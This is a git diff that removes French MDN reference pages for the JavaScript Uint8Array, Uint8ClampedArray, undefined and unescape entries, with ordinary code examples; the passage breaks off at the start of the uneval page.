Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page TypedArray.

- -

Propriétés

- -
-
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint8Array.BYTES_PER_ELEMENT")}}
-
Cette propriété renvoie la taille d'un élément du tableau, en octets. En l'occurence, pour Uint8Array ce sera 1.
-
Uint8Array.length
-
La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Uint8Array.prototype.length")}}.
-
{{jsxref("TypedArray.name", "Uint8Array.name")}}
-
Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour Uint8Array ce sera : "Uint8Array".
-
{{jsxref("TypedArray.prototype", "Uint8Array.prototype")}}
-
Le prototype des objets TypedArray.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.from", "Uint8Array.from()")}}
-
Cette méthode permet de créer un nouvel objet Uint8Array à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.
-
{{jsxref("TypedArray.of", "Uint8Array.of()")}}
-
Cette méthode permet de créer un nouvel objet Uint8Array à partir d'un nombre variables d'arguments. Voir aussi {{jsxref("Array.of()")}}.
-
- -

Prototype Uint8Array

- -

Tous les objets Uint8Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

- -

Propriétés

- -
-
Uint8Array.prototype.constructor
-
Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur Uint8Array.
-
{{jsxref("TypedArray.prototype.buffer", "Uint8Array.prototype.buffer")}} {{readonlyInline}}
-
Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet Uint8Array Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.byteLength", "Uint8Array.prototype.byteLength")}} {{readonlyInline}}
-
Cette propriété renvoie la longueur, exprimée en octets, de l'objet Uint8Array à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.byteOffset", "Uint8Array.prototype.byteOffset")}} {{readonlyInline}}
-
Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.length", "Uint8Array.prototype.length")}} {{readonlyInline}}
-
Cette propriété renvoie le nombre d'éléments contenus dans le tableau Uint8Array. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.copyWithin", "Uint8Array.prototype.copyWithin()")}}
-
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.entries", "Uint8Array.prototype.entries()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
-
{{jsxref("TypedArray.every", "Uint8Array.prototype.every()")}}
-
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
-
{{jsxref("TypedArray.fill", "Uint8Array.prototype.fill()")}}
-
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
-
{{jsxref("TypedArray.filter", "Uint8Array.prototype.filter()")}}
-
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
-
{{jsxref("TypedArray.find", "Uint8Array.prototype.find()")}}
-
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
-
{{jsxref("TypedArray.findIndex", "Uint8Array.prototype.findIndex()")}}
-
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
-
{{jsxref("TypedArray.forEach", "Uint8Array.prototype.forEach()")}}
-
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
-
{{jsxref("TypedArray.includes", "Uint8Array.prototype.includes()")}}
-
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
-
{{jsxref("TypedArray.indexOf", "Uint8Array.prototype.indexOf()")}}
-
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
-
{{jsxref("TypedArray.join", "Uint8Array.prototype.join()")}}
-
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
-
{{jsxref("TypedArray.keys", "Uint8Array.prototype.keys()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
-
{{jsxref("TypedArray.lastIndexOf", "Uint8Array.prototype.lastIndexOf()")}}
-
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
-
{{jsxref("TypedArray.map", "Uint8Array.prototype.map()")}}
-
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
-
{{jsxref("TypedArray.move", "Uint8Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
-
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Uint8Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.reduce", "Uint8Array.prototype.reduce()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
-
{{jsxref("TypedArray.reduceRight", "Uint8Array.prototype.reduceRight()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
-
{{jsxref("TypedArray.reverse", "Uint8Array.prototype.reverse()")}}
-
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
-
{{jsxref("TypedArray.set", "Uint8Array.prototype.set()")}}
-
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
-
{{jsxref("TypedArray.slice", "Uint8Array.prototype.slice()")}}
-
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
-
{{jsxref("TypedArray.some", "Uint8Array.prototype.some()")}}
-
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
-
{{jsxref("TypedArray.sort", "Uint8Array.prototype.sort()")}}
-
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
-
{{jsxref("TypedArray.subarray", "Uint8Array.prototype.subarray()")}}
-
Renvoie un nouvel objet Uint8Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
-
{{jsxref("TypedArray.values", "Uint8Array.prototype.values()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
-
{{jsxref("TypedArray.toLocaleString", "Uint8Array.prototype.toLocaleString()")}}
-
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
-
{{jsxref("TypedArray.toString", "Uint8Array.prototype.toString()")}}
-
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
-
{{jsxref("TypedArray.@@iterator", "Uint8Array.prototype[@@iterator]()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
-
- -

Exemples

- -

Différentes façons de construire un objet Uint8Array :

- -
// Construction à partir d'une longueur
-var uint8 = new Uint8Array(2);
-uint8[0] = 42;
-console.log(uint8[0]); // 42
-console.log(uint8.length); // 2
-console.log(uint8.BYTES_PER_ELEMENT); // 1
-
-// Construction à partir d'un tableau
-var arr = new Uint8Array([21,31]);
-console.log(arr[1]); // 31
-
-// Construction à partir d'un tableau typé
-var x = new Uint8Array([21, 31]);
-var y = new Uint8Array(x);
-console.log(y[0]); // 21
-
-// Construction à partir d'un ArrayBuffer
-var buffer = new ArrayBuffer(8);
-var z = new Uint8Array(buffer, 1, 4);
-
-// Construction à partir d'un itérable
-var iterable = function*(){ yield* [1,2,3]; }();
-var uint8 = new Uint8Array(iterable);
-// Uint8Array[1, 2, 3]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Englobée par ECMAScript 2015.
{{SpecName('ES6', '#table-49', 'TypedArray constructors')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur Uint8Array afin qu'il utilise l'opération ToIndex et qu'il puisse être utilisé sans argument.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Uint8Array")}}

- -

Notes de compatibilité

- -

À partir d'ECMAScript 2015 (ES6), Uint8Array doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur Uint8Array comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

- -
var dv = Uint8Array([1, 2, 3]);
-// TypeError: calling a builtin Uint8Array constructor
-// without new is forbidden
- -
var dv = new Uint8Array([1, 2, 3]);
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/uint8clampedarray/index.html b/files/fr/web/javascript/reference/objets_globaux/uint8clampedarray/index.html deleted file mode 100644 index f90e9a322b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/uint8clampedarray/index.html +++ /dev/null @@ -1,208 +0,0 @@ ---- -title: Uint8ClampedArray -slug: Web/JavaScript/Reference/Objets_globaux/Uint8ClampedArray -tags: - - Constructor - - JavaScript - - Reference - - TypedArray - - TypedArrays - - Uint8ClampedArray -translation_of: Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray ---- -
{{JSRef}}
- -

Le tableau typé Uint8ClampedArray permet de représenter un tableau d'entiers non signés représentés sur 8 bits, dont les valeurs sont ramenées entre 0 et 255. Si une valeur non-entière est fournie, elle sera arrondie à l'entier le plus proche. Les éléments du tableau sont initialisés à 0. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).

- -

Syntaxe

- -
new Uint8ClampedArray(); // apparu avec ES2017
-new Uint8ClampedArray(longueur);
-new Uint8ClampedArray(tableauTypé);
-new Uint8ClampedArray(objet);
-new Uint8ClampedArray(tampon [, décalage [, longueur]]);
- -

Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page TypedArray.

- -

Propriétés

- -
-
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint8ClampedArray.BYTES_PER_ELEMENT")}}
-
Cette propriété renvoie la taille d'un élément du tableau, en octets. En l'occurence, pour Uint8ClampedArray ce sera 1.
-
Uint8ClampedArray.length
-
La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'éléments, voir {{jsxref("TypedArray.prototype.length", "Uint8ClampedArray.prototype.length")}}.
-
{{jsxref("TypedArray.name", "Uint8ClampedArray.name")}}
-
Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour Uint8ClampedArray ce sera : "Uint8ClampedArray".
-
{{jsxref("TypedArray.prototype", "Uint8ClampedArray.prototype")}}
-
Le prototype des objets TypedArray.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.from", "Uint8ClampedArray.from()")}}
-
Cette méthode permet de créer un nouvel objet Uint8ClampedArray à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.
-
{{jsxref("TypedArray.of", "Uint8ClampedArray.of()")}}
-
Cette méthode permet de créer un nouvel objet Uint8ClampedArray à partir d'un nombre variable d'arguments. Voir aussi {{jsxref("Array.of()")}}.
-
- -

Prototype Uint8ClampedArray

- -

Tous les objets Uint8ClampedArray héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

- -

Propriétés

- -
-
Uint8ClampedArray.prototype.constructor
-
Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur Uint8ClampedArray.
-
{{jsxref("TypedArray.prototype.buffer", "Uint8ClampedArray.prototype.buffer")}} {{readonlyInline}}
-
Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet Uint8ClampedArray Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.byteLength", "Uint8ClampedArray.prototype.byteLength")}} {{readonlyInline}}
-
Cette propriété renvoie la longueur, exprimée en octets, de l'objet Uint8ClampedArray à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.byteOffset", "Uint8ClampedArray.prototype.byteOffset")}} {{readonlyInline}}
-
Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.length", "Uint8ClampedArray.prototype.length")}} {{readonlyInline}}
-
Cette propriété renvoie le nombre d'éléments contenus dans le tableau Uint8ClampedArray. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.copyWithin", "Uint8ClampedArray.prototype.copyWithin()")}}
-
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.entries", "Uint8ClampedArray.prototype.entries()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
-
{{jsxref("TypedArray.every", "Uint8ClampedArray.prototype.every()")}}
-
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
-
{{jsxref("TypedArray.fill", "Uint8ClampedArray.prototype.fill()")}}
-
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
-
{{jsxref("TypedArray.filter", "Uint8ClampedArray.prototype.filter()")}}
-
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
-
{{jsxref("TypedArray.find", "Uint8ClampedArray.prototype.find()")}}
-
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
-
{{jsxref("TypedArray.findIndex", "Uint8ClampedArray.prototype.findIndex()")}}
-
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
-
{{jsxref("TypedArray.forEach", "Uint8ClampedArray.prototype.forEach()")}}
-
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
-
{{jsxref("TypedArray.includes", "Uint8ClampedArray.prototype.includes()")}}
-
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
-
{{jsxref("TypedArray.indexOf", "Uint8ClampedArray.prototype.indexOf()")}}
-
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
-
{{jsxref("TypedArray.join", "Uint8ClampedArray.prototype.join()")}}
-
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
-
{{jsxref("TypedArray.keys", "Uint8ClampedArray.prototype.keys()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
-
{{jsxref("TypedArray.lastIndexOf", "Uint8ClampedArray.prototype.lastIndexOf()")}}
-
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
-
{{jsxref("TypedArray.map", "Uint8ClampedArray.prototype.map()")}}
-
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
-
{{jsxref("TypedArray.move", "Uint8ClampedArray.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
-
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Uint8ClampedArray.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.reduce", "Uint8ClampedArray.prototype.reduce()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
-
{{jsxref("TypedArray.reduceRight", "Uint8ClampedArray.prototype.reduceRight()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
-
{{jsxref("TypedArray.reverse", "Uint8ClampedArray.prototype.reverse()")}}
-
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
-
{{jsxref("TypedArray.set", "Uint8ClampedArray.prototype.set()")}}
-
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
-
{{jsxref("TypedArray.slice", "Uint8ClampedArray.prototype.slice()")}}
-
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
-
{{jsxref("TypedArray.some", "Uint8ClampedArray.prototype.some()")}}
-
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
-
{{jsxref("TypedArray.sort", "Uint8ClampedArray.prototype.sort()")}}
-
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
-
{{jsxref("TypedArray.subarray", "Uint8ClampedArray.prototype.subarray()")}}
-
Renvoie un nouvel objet Uint8ClampedArray qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
-
{{jsxref("TypedArray.values", "Uint8ClampedArray.prototype.values()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
-
{{jsxref("TypedArray.toLocaleString", "Uint8ClampedArray.prototype.toLocaleString()")}}
-
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
-
{{jsxref("TypedArray.toString", "Uint8ClampedArray.prototype.toString()")}}
-
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
-
{{jsxref("TypedArray.@@iterator", "Uint8ClampedArray.prototype[@@iterator]()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
-
- -

Exemples

- -

Différentes façon de créer un objet Uint8ClampedArray :

- -
// Construction à partir d'une longueur
-var uintc8 = new Uint8ClampedArray(2);
-uintc8[0] = 42;
-uintc8[1] = 1337;
-console.log(uintc8[0]); // 42
-console.log(uintc8[1]); // 255 (valeur ramenée à 255)
-console.log(uintc8.length); // 2
-console.log(uintc8.BYTES_PER_ELEMENT); // 1
-
-// Construction à partir d'un tableau
-var arr = new Uint8ClampedArray([21,31]);
-console.log(arr[1]); // 31
-
-// Construction à partir d'un autre TypedArray
-var x = new Uint8ClampedArray([21, 31]);
-var y = new Uint8ClampedArray(x);
-console.log(y[0]); // 21
-
-// Construction à partir d'un ArrayBuffer
-var buffer = new ArrayBuffer(8);
-var z = new Uint8ClampedArray(buffer, 1, 4);
-
-// Construction à partir d'un itérable
-var iterable = function*(){ yield* [1,2,3]; }();
-var uintc8 = new Uint8ClampedArray(iterable);
-// Uint8ClampedArray[1, 2, 3]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Englobée par ECMAScript 2015
{{SpecName('ES6', '#table-49', 'TypedArray constructors')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur Uint8ClampedArray afin qu'il utilise l'opération ToIndex et qu'il puisse être utilisé sans argument.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Uint8ClampedArray")}}

- -

Notes de compatibilité

- -

À partir d'ECMAScript 2015 (ES6), Uint8ClampedArray doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler Uint8ClampedArray comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

- -
var dv = Uint8ClampedArray([1, 2, 3]);
-// TypeError: calling a builtin Uint8ClampedArray constructor
-// without new is forbidden
- -
var dv = new Uint8ClampedArray([1, 2, 3]);
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/undefined/index.html b/files/fr/web/javascript/reference/objets_globaux/undefined/index.html deleted file mode 100644 index 0e9e0a1cdc..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/undefined/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: undefined -slug: Web/JavaScript/Reference/Objets_globaux/undefined -tags: - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/undefined ---- -
{{jsSidebar("Objects")}}
- -

La propriété globale undefined représente la valeur undefined. Cette valeur est l'un des types primitifs de JavaScript.

- -

{{js_property_attributes(0,0,0)}}

- -
{{EmbedInteractiveExample("pages/js/globalprops-undefined.html")}}
- - - -

Syntaxe

- -
undefined
- -

Description

- -

undefined est une propriété de l'objet global, c'est-à-dire qu'elle est accessible globalement. La valeur initiale d'undefined est la valeur primitive undefined.

- -

Dans les navigateurs modernes, d'après la spécification ECMAScript 5, undefined est une propriété non-configurable et non accessible en écriture. Si, toutefois, elle peut être modifiée dans l'environnement utilisé, il faut éviter de l'écraser.

- -

Une variable pour laquelle aucune valeur n'a été assignée sera de type undefined. Une méthode ou instruction renvoie également undefined si la variable à évaluer n'a pas de valeur assignée. Une fonction renvoie undefined si aucune valeur n'a été {{jsxref("Instructions/return", "retournée","",1)}}.

- -
-

À ne pas faire ! Puisque undefined n'est pas un mot réservé du langage JavaScript, il peut être utilisé comme identifiant (nom de variable) dans toute portée autre que la portée globale. Ceci est une très mauvaise idée pour la lisibilité du code et sa maintenabilité.

- -
// À NE PAS FAIRE
-
-// écrit "toto string" dans la console
-(function() { var undefined = 'toto'; console.log(undefined, typeof undefined); })();
-
-// écrit "toto string" dans la console
-(function(undefined) { console.log(undefined, typeof undefined); })('toto');
-
-
- -

Exemples

- -

L'égalité stricte et undefined

- -

Il est possible d'utiliser undefined et les opérateurs stricts pour l''égalité et l'inégalité strictes afin de déterminer si une variable a une valeur affectée. Dans le code qui suit, la variable x n'est pas initialisée et la première instruction if sera évaluée à true (vrai).

- -
var x;
-if (x === undefined) {
-   // ces instructions seront exécutées
-}
-if (x !== undefined) {
-   // ces instructions ne seront pas exécutées
-}
-
- -
-

Note : L'opérateur d'égalité stricte doit être utilisé ici plutôt que l'opérateur d'égalité simple. En effet, x == undefined vérifie également si x vaut null, tandis que l'égalité stricte ne le fait pas. null n'est pas équivalent à undefined. Voir la page sur les {{jsxref("Opérateurs/Opérateurs_de_comparaison","opérateurs de comparaison","",1)}} pour plus de détails.

-
- -

L'opérateur typeof et undefined

- -

L'opérateur {{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}} peut également être utilisé :

- -
var x;
-if (typeof x == 'undefined') {
-   // ces instructions seront exécutées
-}
-
- -

Une des raisons pour utiliser {{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}} est qu'il ne renverra pas d'erreur si la variable n'a pas été définie :

- -
// x n'a pas encore été défini
-if (typeof x === 'undefined') { // donnera true sans erreur
-   // ces instructions seront exécutées
-}
-
-if (x === undefined) { // déclenche une ReferenceError
-
-}
-
- -

L'opérateur void et undefined

- -

L'opérateur {{jsxref("Opérateurs/L_opérateur_void", "void")}} est une troisième solution.

- -
var x;
-if (x === void 0) {
-   // ces instructions seront exécutées
-}
-
-// y n'a pas été défini avant
-if (y === void 0) {
-   // déclenche une ReferenceError: y is not defined
-   // (contrairement à `typeof`)
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1', '#sec-4.3.9', 'undefined')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.1.1.3', 'undefined')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-undefined', 'undefined')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-undefined', 'undefined')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.undefined")}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/unescape/index.html b/files/fr/web/javascript/reference/objets_globaux/unescape/index.html deleted file mode 100644 index 4d2adcae0d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/unescape/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: unescape() -slug: Web/JavaScript/Reference/Objets_globaux/unescape -tags: - - Déprécié - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/unescape ---- -
{{jsSidebar("Objects")}}
- -
Attention ! Bien que unescape(…) ne soit pas strictement obsolète (au sens où elle n'a pas été retirée des standards), elle est définie au sein de l'Annexe B du standard ECMA-262 qui commence par : - -
… L'ensemble des fonctionnalités et comportements définis dans cette annexe possède une ou plusieurs caractéristiques indésirables. En l'absence d'une utilisation historique, ces fonctionnalités seraient retirés de la spécification. …
-… Les développeurs ne devraient pas utiliser ces fonctionnalités et comportements ou présupposer qu'elles existent lors de l'écriture de nouveau code ECMAScript. …
-
- -

La fonction dépréciée unescape() calcule une nouvelle chaîne de caractères et remplace les séquences d'échappement hexadécimales par les caractères qu'elles représentent. Les séquences d'échappement peuvent provenir de la fonction {{jsxref("escape")}}. Cette méthode est obsolète, c'est pourquoi il est conseillé d'utiliser {{jsxref("decodeURI")}} ou {{jsxref("decodeURIComponent")}} à la place.

- -
Note : unescape() ne doit pas être utilisée pour décoder les URI. À la place, utilisez decodeURI.
- -

Syntaxe

- -
unescape(str)
- -

Paramètres

- -
-
str
-
La chaîne de caractères à décoder.
-
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères dont les caractères ont été décodés.

- -

Description

- -

La fonction unescape est une propriété de l'objet global.

- -

Exemples

- -
unescape("abc123");     // "abc123"
-unescape("%E4%F6%FC");  // "äöü"
-unescape("%u0107");     // "ć"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-unescape-string', 'unescape')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles d'ECMAScript pour les navigateurs Web.
{{SpecName('ES6', '#sec-unescape-string', 'unescape')}}{{Spec2('ES6')}}Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles d'ECMAScript pour les navigateurs Web.
{{SpecName('ES5.1', '#sec-B.2.2', 'unescape')}}{{Spec2('ES5.1')}}Définie dans l'annexe B (informative) sur la compatibilité.
{{SpecName('ES1', '#sec-15.1.2.5', 'unescape')}}{{Spec2('ES1')}}Définition initiale
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.unescape")}}

- -

Voir aussi

- -
    -
  • {{jsxref("decodeURI")}}
    • -
  • {{jsxref("decodeURIComponent")}}
    • -
  • {{jsxref("escape")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/uneval/index.html b/files/fr/web/javascript/reference/objets_globaux/uneval/index.html deleted file mode 100644 index fabc5b0cf1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/uneval/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: uneval() -slug: Web/JavaScript/Reference/Objets_globaux/uneval -tags: - - Fonction - - JavaScript - - Non-standard - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/uneval ---- -
{{jsSidebar("Objects")}}{{Non-standard_header}}
- -

